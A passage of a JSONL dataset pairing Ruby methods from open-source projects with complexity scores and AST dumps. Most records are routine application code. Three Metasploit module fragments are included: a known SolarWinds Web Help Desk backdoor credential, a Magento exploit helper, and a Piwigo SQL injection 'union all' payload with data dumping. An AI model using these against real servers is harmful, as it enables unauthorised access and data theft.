end","complexity_score":23.2,"ast_json":"{\"type\":\"def\",\"children\":[\"export\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"export_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"directory\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"policies\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"all\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqPolicy\"]},\"all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqPolicy\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read_only\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policies\"]},\"order\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"policy\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Exporting Policy: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"description\"]}]},{\"type\":\"str\",\"children\":[\" (ID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exports\"]},\"safe_filename\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"keep_spaces\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"export_dir\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"str\",\"children\":[\".yaml\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"export_to_yaml\"]}]}]}]}]}]}","id":"42cd87a5-9f0b-4afa-9a42-aa5f95128574"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/paginators/spree/shared/paginate.rb","start_line":4,"raw_source":"def initialize(collection, params)\n        @collection = collection\n        @page       = params[:page]\n\n        per_page_limit = Spree::Api::Config[:api_v2_per_page_limit]\n\n        @per_page = if params[:per_page].to_i.between?(1, per_page_limit)\n                      params[:per_page]\n                    else\n                      Kaminari.config.default_per_page\n                    end\n      end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"collection\"]},{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@collection\",{\"type\":\"lvar\",\"children\":[\"collection\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@page\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"per_page_limit\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Api\"]},\"Config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"api_v2_per_page_limit\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@per_page\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"per_page\"]}]},\"to_i\"]},\"between?\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvar\",\"children\":[\"per_page_limit\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"per_page\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Kaminari\"]},\"config\"]},\"default_per_page\"]}]}]}]}]}","id":"b7455af2-4245-47cf-b5f7-03a8ca898a81"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/solarwinds_webhelpdesk_backdoor.rb","start_line":60,"raw_source":"def auth\n    send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets'),\n      'headers' => {\n        'Authorization' => 'Basic ' + Rex::Text.encode_base64('helpdeskIntegrationUser:dev-C4F8025E7')\n      }\n    )\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"auth\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Authorization\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Basic \"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"str\",\"children\":[\"helpdeskIntegrationUser:dev-C4F8025E7\"]}]}]}]}]}]}]}]}]}","id":"cf50b421-0644-4700-a45d-fc6a684631bb"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/lib/mastodon/cli/maintenance.rb","start_line":262,"raw_source":"def deduplicate_accounts!\n      remove_index_if_exists!(:accounts, 'index_accounts_on_username_and_domain_lower')\n\n      say 'Deduplicating accounts… for local accounts, you will be asked to chose which account to keep unchanged.'\n\n      duplicate_record_ids(:accounts, \"lower(username), COALESCE(lower(domain), '')\").each do |row|\n        accounts = Account.where(id: row['ids'].split(','))\n\n        if accounts.first.local?\n          deduplicate_local_accounts!(accounts)\n        else\n          deduplicate_remote_accounts!(accounts)\n        end\n      end\n\n      say 'Restoring index_accounts_on_username_and_domain_lower…'\n      if migrator_version < 2020_06_20_164023\n        database_connection.add_index :accounts, 'lower (username), lower(domain)', name: 'index_accounts_on_username_and_domain_lower', unique: true\n      else\n        database_connection.add_index :accounts, \"lower (username), COALESCE(lower(domain), '')\", name: 'index_accounts_on_username_and_domain_lower', unique: true\n      end\n\n      say 'Reindexing textual indexes on accounts…'\n      rebuild_index(:search_index)\n      rebuild_index(:index_accounts_on_uri)\n      rebuild_index(:index_accounts_on_url)\n      rebuild_index(:index_accounts_on_domain_and_id) if migrator_version >= 2023_05_24_190515\n    end","complexity_score":34.9,"ast_json":"{\"type\":\"def\",\"children\":[\"deduplicate_accounts!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_index_if_exists!\",{\"type\":\"sym\",\"children\":[\"accounts\"]},{\"type\":\"str\",\"children\":[\"index_accounts_on_username_and_domain_lower\"]}]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"Deduplicating accounts… for local accounts, you will be asked to chose which account to keep unchanged.\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"duplicate_record_ids\",{\"type\":\"sym\",\"children\":[\"accounts\"]},{\"type\":\"str\",\"children\":[\"lower(username), COALESCE(lower(domain), '')\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"accounts\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ids\"]}]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"accounts\"]},\"first\"]},\"local?\"]},{\"type\":\"send\",\"children\":[null,\"deduplicate_local_accounts!\",{\"type\":\"lvar\",\"children\":[\"accounts\"]}]},{\"type\":\"send\",\"children\":[null,\"deduplicate_remote_accounts!\",{\"type\":\"lvar\",\"children\":[\"accounts\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"Restoring index_accounts_on_username_and_domain_lower…\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migrator_version\"]},\"<\",{\"type\":\"int\",\"children\":[20200620164023]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"database_connection\"]},\"add_index\",{\"type\":\"sym\",\"children\":[\"accounts\"]},{\"type\":\"str\",\"children\":[\"lower (username), lower(domain)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_accounts_on_username_and_domain_lower\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"database_connection\"]},\"add_index\",{\"type\":\"sym\",\"children\":[\"accounts\"]},{\"type\":\"str\",\"children\":[\"lower (username), COALESCE(lower(domain), '')\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_accounts_on_username_and_domain_lower\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"Reindexing textual indexes on accounts…\"]}]},{\"type\":\"send\",\"children\":[null,\"rebuild_index\",{\"type\":\"sym\",\"children\":[\"search_index\"]}]},{\"type\":\"send\",\"children\":[null,\"rebuild_index\",{\"type\":\"sym\",\"children\":[\"index_accounts_on_uri\"]}]},{\"type\":\"send\",\"children\":[null,\"rebuild_index\",{\"type\":\"sym\",\"children\":[\"index_accounts_on_url\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migrator_version\"]},\">=\",{\"type\":\"int\",\"children\":[20230524190515]}]},{\"type\":\"send\",\"children\":[null,\"rebuild_index\",{\"type\":\"sym\",\"children\":[\"index_accounts_on_domain_and_id\"]}]},null]}]}]}","id":"1bcc902b-102f-41ea-b95c-0f0eedf10d8f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/projects/unarchive_service.rb","start_line":43,"raw_source":"def persist(service_call)\n      activate_project(model)\n\n      service_call\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"persist\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service_call\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"activate_project\",{\"type\":\"send\",\"children\":[null,\"model\"]}]},{\"type\":\"lvar\",\"children\":[\"service_call\"]}]}]}","id":"01a7ae40-93c4-48da-a5b3-d84cb9732fe7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/magento_unserialize.rb","start_line":285,"raw_source":"def define_globals\n    @phpsessid = Rex::Text.rand_text_alphanumeric(26)\n    @form_key = Rex::Text.rand_text_alphanumeric(26)\n    @cookies = \"PHPSESSID=#{@phpsessid}; form_key=#{@form_key}\"\n    @email = \"#{@phpsessid}@#{@form_key}.com\"\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"define_globals\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@phpsessid\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[26]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@form_key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[26]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@cookies\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"PHPSESSID=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@phpsessid\"]}]},{\"type\":\"str\",\"children\":[\"; form_key=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@form_key\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@email\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@phpsessid\"]}]},{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@form_key\"]}]},{\"type\":\"str\",\"children\":[\".com\"]}]}]}]}]}","id":"d60f7d1a-1e81-4c57-85c7-7085519edefa"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/render_test.rb","start_line":466,"raw_source":"def test_expires_now\n    get :conditional_hello_with_expires_now\n    assert_equal \"no-cache\", @response.headers[\"Cache-Control\"]\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_expires_now\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"conditional_hello_with_expires_now\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"no-cache\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Cache-Control\"]}]}]}]}]}","id":"ec2e8b45-a680-4480-bbf8-6e0c98f664ec"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailbox/lib/rails/generators/mailbox/mailbox_generator.rb","start_line":23,"raw_source":"def file_name # :doc:\n          @_file_name ||= super.sub(/_mailbox\\z/i, \"\")\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"file_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@_file_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"_mailbox\\\\z\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"4808d6dc-0ca0-4a37-8ac1-fb62b22ac9b8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/matching/build_matcher.rb","start_line":17,"raw_source":"def initialize(params)\n          ATTRIBUTES.each do |attribute|\n            instance_variable_set(\"@#{attribute}\", params.fetch(attribute))\n          end\n        end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ATTRIBUTES\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[null,\"instance_variable_set\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]}]}]}","id":"455a6664-ac3b-43cc-83e4-86cd02705991"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/concerns/gitlab/github_import/object_importer.rb","start_line":126,"raw_source":"def track_and_raise_exception(project, exception, fail_import: false)\n        track_exception(project, exception, fail_import: fail_import)\n\n        raise(exception)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"track_and_raise_exception\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"exception\"]},{\"type\":\"kwoptarg\",\"children\":[\"fail_import\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"track_exception\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"exception\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fail_import\"]},{\"type\":\"lvar\",\"children\":[\"fail_import\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"exception\"]}]}]}]}","id":"6aefe0fc-de8a-4cec-94f2-f9de21fa4e63"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/external_authorization/config.rb","start_line":12,"raw_source":"def service_url\n        application_settings.external_authorization_service_url\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"service_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"application_settings\"]},\"external_authorization_service_url\"]}]}","id":"1d1f56ee-93c7-416e-a7ee-14d085415c02"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/service_result.rb","start_line":142,"raw_source":"def merge!(other, without_success: false)\n    merge_success!(other) unless without_success\n    merge_errors!(other)\n    merge_dependent!(other)\n\n    self\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"merge!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]},{\"type\":\"kwoptarg\",\"children\":[\"without_success\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"without_success\"]},null,{\"type\":\"send\",\"children\":[null,\"merge_success!\",{\"type\":\"lvar\",\"children\":[\"other\"]}]}]},{\"type\":\"send\",\"children\":[null,\"merge_errors!\",{\"type\":\"lvar\",\"children\":[\"other\"]}]},{\"type\":\"send\",\"children\":[null,\"merge_dependent!\",{\"type\":\"lvar\",\"children\":[\"other\"]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"5af03b77-e00f-4ce4-b653-f43c72c4c82b"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/lib/sinatra/base.rb","start_line":786,"raw_source":"def markdown(template, options = {}, locals = {})\n      options[:exclude_outvar] = true\n      render :markdown, template, options, locals\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"markdown\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"template\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"locals\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"exclude_outvar\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"sym\",\"children\":[\"markdown\"]},{\"type\":\"lvar\",\"children\":[\"template\"]},{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"locals\"]}]}]}]}","id":"8845071d-4587-4c62-9d5c-df4ef7fbcafb"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/formatters/documentation_formatter.rb","start_line":57,"raw_source":"def message(notification)\n          if @example_running\n            @messages << notification.message\n          else\n            output.puts \"#{current_indentation}#{notification.message}\"\n          end\n        end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"notification\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@example_running\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@messages\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_indentation\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification\"]},\"message\"]}]}]}]}]}]}","id":"3edd148d-cef0-4264-9a1a-8cb7f101813f"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/tracker.rb","start_line":216,"raw_source":"def add_constant name, value, context = nil\n    @constants.add name, value, context unless @options[:disable_constant_tracking]\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"add_constant\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"optarg\",\"children\":[\"context\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"disable_constant_tracking\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@constants\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"context\"]}]}]}]}","id":"2bad399f-b841-461a-8017-c820867c56b6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/piwigo_cve_2023_26876.rb","start_line":138,"raw_source":"def get_info\n    sqli = create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |payload|\n      send_request_cgi({\n        'method' => 'GET',\n        'uri' => normalize_uri(target_uri.path, 'admin.php'),\n        'vars_get' => {\n          'page' => 'history',\n          'filter_image_id' => '1',\n          'filter_user_id' => \"123123123 union all #{payload}\"\n        }\n      })\n    end\n\n    if test_vulnerable(sqli.run_sql('select 0x70776e3364'))\n      dump_data(sqli)\n    end\n  end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"get_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sqli\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_sqli\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dbms\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MySQLi\"]},\"Common\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"opts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hex_encode_strings\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"admin.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"page\"]},{\"type\":\"str\",\"children\":[\"history\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"filter_image_id\"]},{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"filter_user_id\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"123123123 union all \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"test_vulnerable\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sqli\"]},\"run_sql\",{\"type\":\"str\",\"children\":[\"select 0x70776e3364\"]}]}]},{\"type\":\"send\",\"children\":[null,\"dump_data\",{\"type\":\"lvar\",\"children\":[\"sqli\"]}]},null]}]}]}","id":"911fa338-b35d-4aff-8d08-b71b4e6a0c94"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/exclusive_lease_helpers/sleeping_lock.rb","start_line":43,"raw_source":"def first_attempt?\n        attempts == 0\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"first_attempt?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attempts\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]}","id":"d6e78751-b846-4bb3-bb5c-13e9fd688de8"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/type/internal/timezone.rb","start_line":16,"raw_source":"def default_timezone\n          @timezone || ActiveRecord.default_timezone\n        end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"default_timezone\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timezone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"default_timezone\"]}]}]}","id":"c4b0b34c-82bb-47ed-a20d-7c370f978c1e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/design_management/design_resolver.rb","start_line":18,"raw_source":"def resolve(filename: nil, id: nil)\n        params = parse_args(filename, id)\n\n        build_finder(params).execute.first\n      